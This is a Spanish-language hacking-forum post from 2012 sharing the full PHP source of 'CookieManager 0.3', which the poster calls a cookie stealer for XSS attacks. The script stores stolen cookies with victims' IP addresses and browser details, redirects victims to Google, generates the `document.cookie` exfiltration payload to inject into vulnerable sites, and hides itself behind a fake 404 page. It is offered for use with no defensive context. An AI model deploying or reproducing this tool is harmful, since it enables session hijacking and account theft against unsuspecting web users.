elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


+  Foro de elhacker.net
|-+  Programación
| |-+  Desarrollo Web
| | |-+  PHP (Moderador: #!drvy)
| | | |-+  CookieManager 0.3
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: CookieManager 0.3  (Leído 1,209 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
CookieManager 0.3
« en: 31 Enero 2012, 21:57 pm »

Un simple cookie stealer para XSS.

Código
  1. <?php
  2.  
  3. //CookieManager 0.3
  4. //Coded By Doddy H
  5.  
  6. //Datos para el login
  7.  
  8. $username = "admin";
  9. $password = "21232f297a57a5a743894a0e4a801fc3"; //admin
  10.  
  11. //
  12.  
  13. //Datos para la DB
  14.  
  15. $host = "localhost";
  16. $userw = "root";
  17. $passw = "";
  18. $db = "cookies";
  19.  
  20. //
  21.  
  22. mysql_connect($host,$userw,$passw);
  23.  
  24. if(isset($_GET['id'])) {
  25.  
  26. if(empty($_GET['id'])) {
  27. error();
  28. }
  29.  
  30. $dia = date("d.m.Y");
  31. $ip = $_SERVER["REMOTE_ADDR"];
  32. $info = $_SERVER["HTTP_USER_AGENT"];
  33. $ref = $_SERVER["HTTP_REFERER"];
  34. $cookie = $_GET['id'];
  35.  
  36. @mysql_query("INSERT INTO todo(id,fecha,ip,info,referer,cookie)values(NULL,'$dia','$ip','$info','$ref','$cookie')");
  37.  
  38. header("Location:http://www.google.com.ar");
  39.  
  40. }
  41.  
  42. elseif (isset($_COOKIE['portal'])) {
  43.  
  44. $st = base64_decode($_COOKIE['portal']);
  45.  
  46. $plit = split("@",$st);
  47. $user = $plit[0];
  48. $pass = $plit[1];
  49.  
  50.  
  51. if ($user == $username and $pass == $password) {
  52.  
  53. echo "<title>CookieManager 0.3</title>";
  54.  
  55. echo "<STYLE type=text/css>
  56.  
  57. body,a:link {
  58. background-color: #000000;
  59. color:orange;
  60. Courier New;
  61. cursor:crosshair;
  62. font-size: small;
  63. }
  64.  
  65. input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
  66. font: normal 10px Verdana, Arial, Helvetica,
  67. sans-serif;
  68. background-color:black;
  69. color:orange;
  70. border: solid 1px orange;
  71. border-color:orange
  72. }
  73.  
  74. a:link,a:visited,a:active {
  75. color: orange;
  76. font: normal 10px Verdana, Arial, Helvetica,
  77. sans-serif;
  78. text-decoration: none;
  79. }
  80.  
  81. </style>
  82. ";
  83.  
  84. if(isset($_POST['instalar'])) {
  85.  
  86. $todo = "create table todo (
  87. id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  88. fecha TEXT NOT NULL,
  89. ip TEXT NOT NULL,
  90. info TEXT NOT NULL,
  91. referer TEXT NOT NULL,
  92. cookie TEXT NOT NULL,
  93. PRIMARY KEY (id));
  94. ";
  95.  
  96. if (mysql_query($todo)) {
  97. echo "<script>alert('Installed');</script>";
  98. } else {
  99. echo "<script>alert('Error');</script>";
  100. }
  101. }
  102.  
  103. if( mysql_num_rows(mysql_query("show tables like 'todo'"))) {
  104.  
  105. //
  106.  
  107. if(isset($_GET['del'])) {
  108. if (is_numeric($_GET['del'])) {
  109. if (@mysql_query("delete from todo where id='".$_GET['del']."'")) {
  110. echo "<script>alert('Deleted');</script>";
  111. } else {
  112. echo "<script>alert('Error');</script>";
  113. }}}
  114.  
  115. echo "<center>";
  116. echo "<h1>CookieManager</h1><br><br>";
  117.  
  118.  
  119. $iny = htmlentities("<script>document.location='http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?id='%2Bdocument.cookie</script>");
  120.  
  121. echo "<b>CODE</b> : <input type=text name=iny value=$iny size=104><br><br>";
  122.  
  123. $re = mysql_query("select * from todo order by id ASC");
  124. $con = mysql_num_rows($re);
  125.  
  126. if ($con==0) {
  127. echo "<script>alert('Not found cookies');</script>";
  128. } else {
  129.  
  130. echo "<br><br><h1>Cookies Found</h1><br><br><table border=1 width=1100>";
  131. echo "<td><b>ID</b></td><td><b>Date</b></td><td><b>IP</b></td><td><b>Data</b></td><td><b>Referer</b></td><td><b>Cookie</b></td><td><b>Option</b></td><tr>";
  132.  
  133. while ($ver = mysql_fetch_array($re)) {
  134.  
  135. echo "<td>".htmlentities($ver[0])."</td><td>".htmlentities($ver[1])."</td><td>".htmlentities($ver[2])."</td><td>".htmlentities($ver[3])."</td>";
  136. echo "<td>".htmlentities($ver[4])."</td><td>".htmlentities($ver[5])."</td><td><a href=?del=".$ver[0].">Del</a></td><tr>";
  137.  
  138. }
  139.  
  140. echo "</table>";
  141. echo "<br><br><br><br><br><h1>Coded By Doddy H || 2012</h1><br><br>";
  142.  
  143.  
  144.  
  145.  
  146. }
  147.  
  148. //
  149.  
  150. } else {
  151. echo "
  152. <center><br><br>
  153. <form action='' method=POST>
  154. <h2>Deseas instalar CookieManager ?</h2><br><br>
  155. <input type=submit name=instalar value=Instalar>
  156. </form>";
  157. }
  158. exit(1);
  159. }
  160. }
  161.  
  162. elseif (isset($_POST['login'])) {
  163. if ($_POST['user'] == $username and md5($_POST['password']) == $password) {
  164. setcookie("portal",base64_encode($_POST['user']."@".md5($_POST['password'])));
  165. echo "<script>alert('Welcome idiot');</script>";
  166. echo '<meta http-equiv="refresh" content=0;URL=>';
  167. } else {
  168. echo "<script>alert('Continued to participate');</script>";
  169. }
  170. }
  171.  
  172. elseif(isset($_GET['adminow'])) {
  173.  
  174. echo "
  175. <h1><center>Login</center></h1>
  176. <br><br><center>
  177. <form action='' method=POST>
  178. Username : <input type=text name=user><br>
  179. Password : <input type=text name=password><br><br>
  180. <input type=submit name=login value=Enter><br>
  181. </form>
  182. </center><br><br>";
  183. } else {
  184.  
  185. error();
  186.  
  187. }
  188.  
  189. function error() {
  190. echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  191. <html><head>
  192. <title>404 Not Found</title>
  193. </head><body>
  194. <h1>Not Found</h1>
  195. <p>The requested URL was not found on this server.</p>
  196. </body></html>';
  197. exit(1);
  198. }
  199.  
  200.  
  201.  
  202. // The End ?
  203.  
  204.  
  205. ?>
  206.  
  207.  


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[PHP] CookieManager 0.5
PHP
BigBear 6 2,256 Último mensaje 12 Febrero 2015, 18:45 pm
por engel lex
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines